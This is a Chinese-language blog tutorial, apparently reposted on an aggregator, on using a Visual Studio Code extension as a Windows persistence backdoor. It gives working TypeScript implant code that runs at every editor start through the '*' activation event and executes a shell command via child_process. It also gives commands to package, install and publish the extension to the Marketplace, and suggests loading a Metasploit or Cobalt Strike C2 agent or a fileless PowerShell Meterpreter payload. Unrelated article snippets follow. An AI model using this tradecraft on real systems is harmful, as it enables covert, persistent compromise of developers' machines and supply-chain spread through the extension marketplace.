【Windows持久化后门】 Visual Studio Code Extensions

news/2025/3/10 23:04:18/文章来源:https://www.cnblogs.com/o-O-oO/p/18759505

一、VS Code介绍

Visual Studio Code(简称 VS Code)是一个由微软开发的免费、开源的代码编辑器。它支持多种编程语言,具有代码高亮、智能代码补全、代码重构、调试功能以及 Git 集成等特性。VS Code 非常受欢迎,因为它轻量级、响应速度快,并且拥有丰富的扩展生态系统。

以下是 VS Code 的一些主要特点:

  • 轻量级:VS Code 是一个轻量级的编辑器,它不像一些完整的 IDE(集成开发环境)那样占用大量资源。

  • 跨平台:VS Code 可在 Windows、macOS 和 Linux 上运行。

  • 扩展市场:VS Code 拥有一个庞大的扩展市场,用户可以根据需要安装扩展来增强编辑器的功能。

  • 实时预览:对于 HTML、Markdown 等语言,VS Code 提供了实时预览功能。

  • Git 集成:VS Code 内置了 Git 版本控制功能,可以直接在编辑器中进行 Git 操作。

  • 调试工具:VS Code 内置了调试工具,支持多种语言的断点调试、变量查看等。

  • 任务运行器:可以配置和运行自定义任务,如构建、测试和部署。

  • 终端集成:VS Code 内置了终端,可以直接在编辑器中访问命令行。

  • 代码片段:用户可以创建和使用代码片段,以加快编码速度。

  • 自定义主题和快捷键:VS Code 允许用户自定义编辑器的主题、快捷键和设置。

  • 多工作区:可以同时打开多个文件夹,进行多项目开发。

  • 远程开发:通过远程开发扩展,VS Code 支持远程编辑代码和访问远程服务器。

  • 内置终端:VS Code 内置了终端,方便用户直接在编辑器中使用命令行。

  • 强大的编辑功能:包括多光标编辑、代码折叠、括号匹配等。

  • 社区支持:由于其开源性质,VS Code 有一个活跃的社区,不断有新的功能和改进被加入。

二、Extensions开发介绍

在开始开发 Visual Studio Code Extension 之前,环境需要以下包:

  • Visual Studio Code

  • NodeJS

  • Yeoman

  • Npm Generator Code

从命令提示符执行以下命令将安装 Yeoman 和生成器代码。

npm install -g yo                  
npm install -g yo generator-code

命令 yo code 启动扩展生成器,它将生成扩展所需的文件。

yo code

使用扩展文件夹中的以下命令将启动 Visual Studio Code。Visual Studio Code 启动后,在将任何文件添加到工作区之前请求用户的许可。

cd persistence-sectestlab                  
code .

扩展中比较重要的的文件是:

  • package.json

  • extension.ts

默认情况下,这些文件的内容格式将类似于下图:

执行命令 HelloWorld 将显示 HelloWorld 信息消息,因为它将调用extension.ts 文件中的 函数 showInformationMessage 。

根据 Visual Studio Code,有许多 激活事件 可以在 package.json 文件中声明。

这些事件可以提供各种持久性选项,例如在打开特定语言文件时或在 Visual Studio Code 启动期间执行命令。

激活事件“*”将强制扩展在每次 Visual Studio Code 启动时执行。

激活事件

可以在extension.ts 文件中使用以下代码, 以便在 Visual Studio Code 启动后显示消息作为概念证明。

import * as vscode from 'vscode';                  
export function activate(context: vscode.ExtensionContext) {                     
let disposable = vscode.commands.registerCommand('persistence-sectestlab.Install', () => {                         
vscode.window.showInformationMessage('SecImplant is executed');                  });    context.subscriptions.push(disposable);                  vscode.commands.executeCommand('persistence-sectestlab.Install');                  
}                  
export function deactivate() {}

下图展示了下次运行 Visual Studio Code 时已显示 消息“ Implant isexecute ”。

三、扩展打包/发布

接下来需要将扩展程序打包,上述只是源代码,在真实利用的时候可以使用 Visual Studio Code 扩展管理器打包扩展。
默认情况下,该实用程序不存在,可以使用以下命令安装:

npm install -g @vscode/vsce

执行以下命令会将扩展打包成 . vsix 文件。

vsce package --allow-missing-repository --allow-star-activation

打包的扩展将出现在扩展文件夹中。

但是,在执行以下命令之前,扩展不会安装到 Visual Studio Code 中:

code --install-extension persistence-pentestlab-0.0.1.vsix

也可以将其发布在扩展应用市场,需要上传 .vsix 文件到 Visual Studio Code Marketplace,这样影响范围更广了,但是很明显应用市场应该是有审核人员。首先,确保你有 Marketplace 的账号,然后使用 vsce 命令上传你的扩展:

vsce publish

四、持久化后门开发

通过上述扩展Extensions开发,已经验证了代码可以在启动期间执行,可以修改扩展代码来运行命令。

那么我们可以使用 child_process 库运行 whoami 命令并将输出记录到控制台中。

import * as vscode from 'vscode';                  
export function activate(context: vscode.ExtensionContext) {                    
let disposable = vscode.commands.registerCommand('persistence-pentestlab.Install', () => {                        
vscode.window.showInformationMessage('Implant is executed');                  
const cp = require('child_process');                  
let cmd = 'whoami';cp.exec(cmd, (err: string, stdout: string, stderr: string) => {                  console.log(stdout);                  if (err) {                  console.log(err);                  }                  
});                  });                     context.subscriptions.push(disposable);                  vscode.commands.executeCommand('persistence-pentestlab.Install');                  
}                  
export function deactivate() {}

加载之后就可以执行。

修改下该利用的后门程序,将msf或者cs生成的c2 agent加载起来执行即可实现持久化。

五、扩展加载

由于当受感染的用户启动 Visual Studio Code 时已安装扩展,因此植入程序将被执行,并与命令和控制建立通信。

下图演示了扩展如何在 Visual Studio Code 的扩展中显示。

值得注意的是,植入程序将在 Visual Studio Code 上下文中执行。
Visual Studio Code 的执行会生成各种流程实例,因此植入程序将与环境融为一体。

六、结合PowerShell实现无文件后门

将后门程序放入磁盘可能不是执行代码的比较好的方法。另一种方法是利用 PowerShell 来执行无文件负载。

当扩展加载时,将执行有效负载并建立 Meterpreter 会话。

七、结合JS、C#实现后门

此处不过多解释,因为感觉不如powershell无文件后门,只是能够通过edge js引入C#语言来写

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/895555.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

springcloud框架项目根据不同的配置文件进行编译打包

项目根目录下的pom.xml文件中有关配置文件的信息编译的时候使用配置文件cloud和cloud-test,意味着是把这俩配置文件中的变量参数在编译打包的时候直接写入到项目模块的配置文件中,也就是把用俩@括起来的变量换成相应配置文件中的值 mvn clean package -DskipTests=true -P cl…

实验任务一——初识c语言

代码#include<stdio.h> #include<stdlib.h> int main() {printf(" 0 \n");printf("<H>\n");printf("I I\n");system("pause");return 0; }结果代码// 打印垂直两个字符小人#include<stdio.h> #include<std…

manim边学边做--向量相关的场景类

VectorScene是Manim动画库中专门用于向量空间可视化的场景类,继承自基础 Scene 类。 它通过封装一系列向量操作方法,使数学教育、物理模拟等领域的动画制作更加高效。 本文主要介绍VectorScene的作用、主要参数和方法,并通过示例动画来展示其特点。 1. VectorScene概要 Vect…

python 42~44 1.1~1.8

第一章1.1 str1 = input("请输入一个人的名字:") str2 = input("请输入一个国家的名字:") print("世界这么大,{}想去{}看看.".format(str1,str2))第一章1.2 n = input("请输入整数N:") sum = 0 for i in range(int(n)): sum += i +…

MySQL训练营-DDL性能问题

DDL类型 copy/inplace/instant 复制、原地、即时 copy复制算法 原理 Copy 算法在执行 DDL 操作时,会创建一个新的临时表,该临时表具有修改后的表结构。然后将原表中的数据逐行复制到新的临时表中。复制完成后,删除原表,并将临时表重命名为原表的名称。 优点 兼容性好:几乎…

Manus邀请码,Manus:科技圈新“炸点”,还是又一场狂欢?

2025年3月6日,AI圈被一款名为Manus的产品“炸醒”。这款由Monica团队开发的AI Agent,在短短4分钟的视频中展示出强大的功能,如旅行规划、股票分析、教育内容创建等,仿佛预示着一个新时代的到来。 嗨,大家好,我是小华同学,关注我们获得“最新、最全、最优质”开源项目和…

C# DataTable Merge() 合并DataTable

如果两个表具有不同的结构,则会在原有结构上保留新的架构:dt.Merge(dt2); 使用Add方法时,新表(dt2)的列数不能大于原表(dt)的列数,否则运行时会报错。(可以少于原表列数)dt.Rows.Add(dt2.Rows[0].ItemArray)

VS大型CPP项目调试,Debug模式,Release模式,附加到进程模式

windows下vs调试大型cpp项目,exe,dll,lib,debug模式调试,release模式调试,附加到进程调试,一文搞定visual studio 项目一览 以开源项目 cloudcompare 为例,一个大型项目 肯定会有很多模块,每个模块 根据需求 生成 dll 库 或者 lib 库主程序dll 库lib库debug 模式调试 …

ARC191 ~ 193 题解

ARC191 题解 A - Replace Digits简要题意给定一个长为 \(n\) 的字符串 \(a\)。\(m\) 次操作,第 \(k\) 次给定一个字符 \(b_k\),你需要选择一个 \(i \in [1, n]\) 并将 \(a_i\) 替换成 \(b_k\)。 求最后能得到的所有字符串中,字典序最大的是什么。 \(1 \leq n, m \leq 10^6\)…

物理机安装archLinux

从官网下载镜像并通过up启动成功联网后 一、基础配置 1.设置时间 查看时间 timedatectl status 如果时间不对 timedatectl set-ntp true 如果时区不对 timedatectl set-timezone Asia/Shanghai2.磁盘分区 对于 UEFI 需要至少创建三个分区(efi、swap、根)格式化分区 根分区mk…

Maven踩坑记录与反思

本次事件的发生是在我来到一个新的技术初创团队,由于团队中的前同事与我交接代码时候,关于Maven私服这块的账号密码为给我,导致一系列的爱恨情仇。事件的持续花费两天时间进行解决,现在总结一下遇到的问题与解决思路!回顾Mavenue的背景 关于Maven,维基百科给的解释主要有…

解决pyechart模块绘制地图无数据

在绘制地图发现没有数据错误原因: 传入数据中的省份名称不规范 例如: data = [("北京", 99),("上海", 199),("湖南", 299),("台湾", 399),("广东", 499) ]解决办法: 使用此函数,把传入地图的数据传入函数进行处理(返回规…